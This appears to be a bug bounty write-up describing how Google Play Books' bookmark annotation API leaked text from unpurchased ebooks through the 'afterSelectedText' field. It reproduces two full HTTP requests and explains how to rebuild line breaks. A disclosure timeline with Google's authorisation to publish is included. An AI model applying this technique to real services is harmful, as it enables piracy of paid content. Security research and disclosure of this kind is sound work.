Hey guys!
I have been working on DRM bug bounty programs for several years, and I think it’s time to share something about this kind of test.
In this writeup, I will share with you how I was able to download any ebook from Google Play Store without paying for it. Yes, you read it right, without paying a cent, and I found this bug in 10 minutes.
Steps to reproduce:
POST https://books.clients6.google.com/books/v1/mylibrary/annotations?source=ge-web-app&alt=json&key=AIzaSyCWq1--9JnN9QM7k57Rc_qmt9c0OVy0rME
Host: books.clients6.google.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: */*
Accept-Language: es-MX,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
X-JavaScript-User-Agent: google-api-javascript-client/1.1.0
X-Requested-With: XMLHttpRequest
Content-Type: application/json
X-Goog-Encode-Response-If-Executable: base64
X-Goog-AuthUser: 0
Authorization: SAPISIDHASH REDACTED
X-ClientDetails: appVersion=5.0%20(Windows)&platform=Win32&userAgent=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64%3B%20rv%3A92.0)%20Gecko%2F20100101%20Firefox%2F92.0
Content-Length: 559
Origin: https://play.google.com
DNT: 1
Connection: close
Referer: https://play.google.com/
Cookie: REDACTED
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
{"volumeId":"NSBHAAAAQBAJ","layerId":"bookmarks","annotationType":"bookmark","data":"{}","highlightStyle":"{}","clientVersionRanges":{"contentVersion":"1.7.5.0.preview.3","gbTextRange":{"startPosition":"GBS.PT98.w.4.0.0","startOffset":"261","endPosition":"GBS.PT98.w.4.0.0","endOffset":"261"}},"selectedText":"","beforeSelectedText":"y made it easy for programmers to unwittingly introduce security bugs into their code. These factors","afterSelectedText":" have meant that applications written in PHP have suffered from a disproportionate number of securit"}
POST https://books.clients6.google.com/books/v1/mylibrary/annotations?source=ge-web-app&alt=json&key=AIzaSyCWq1--9JnN9QM7k57Rc_qmt9c0OVy0rME
Host: books.clients6.google.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: */*
Accept-Language: es-MX,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
X-JavaScript-User-Agent: google-api-javascript-client/1.1.0
X-Requested-With: XMLHttpRequest
Content-Type: application/json
X-Goog-Encode-Response-If-Executable: base64
X-Goog-AuthUser: 0
Authorization: SAPISIDHASH REDACTED
X-ClientDetails: appVersion=5.0%20(Windows)&platform=Win32&userAgent=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64%3B%20rv%3A92.0)%20Gecko%2F20100101%20Firefox%2F92.0
Content-Length: 459
Origin: https://play.google.com
DNT: 1
Connection: close
Referer: https://play.google.com/
Cookie: REDACTED
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
{"volumeId":"NSBHAAAAQBAJ","layerId":"bookmarks","annotationType":"bookmark","data":"{}","highlightStyle":"{}","clientVersionRanges":{"contentVersion":"1.7.5.0.preview.3","gbTextRange":{"startPosition":"GBS.PT98.w.4.0.0","startOffset":"261","endPosition":"GBS.PT98.w.4.0.0","endOffset":"261"}},"selectedText":"","beforeSelectedText":"*SQL uses queries to perform common tasks such as reading, adding, updating, and deleting data. For e*","afterSelectedText":""}
Resend the request, analyze the value of “afterSelectedText”, and you will see the missing part of the sentence, which you should not be able to visualize:
"xample, to retrieve a user’s e-mail address with a specified name, an application might perform the "
After this point, I generated a python script to be able to download the whole book
Stay one moment! How can I detect when an ebook has a Line Feed?
It’s possible to detect when an ebook has a line feed, because the value of “endPosition” changes. For example, if you look for “beforeSelectedText”=" following query:", you will see that the value of “startPosition” and “endPosition” is equal to “GBS.PT99.w.0.0.0”:
But, If you search for “beforeSelectedText”:" following query: select", you will see that the values of “startPosition” and “endPosition” have changed because the word ‘select’ must be on a new line: “GBS.PT99.w.1.0.0”:
Therefore, it would be possible to create a script that allows us to generate an HTML file with line feeds and styles.
NOTE: This bug was systemic because I tested my python script with different ebooks, and it worked fine.
Timeline
Sep 15, 2021, 03:27 AM — Reported
Sep 15, 2021, 02:23 PM — Status: Identified as an Abuse Risk and triaged to the Trust & Safety team
Sep 16, 2021, 06:39 AM — Status: Assigned (P2, S4)
Sep 22, 2021, 07:16 PM — Status: Accepted (P1, S1)
Oct 21, 2021, 02:00 PM — The reward panel awards me $X,XXX USD
Nov 4, 2021, 02:09 PM — Google authorizes its disclosure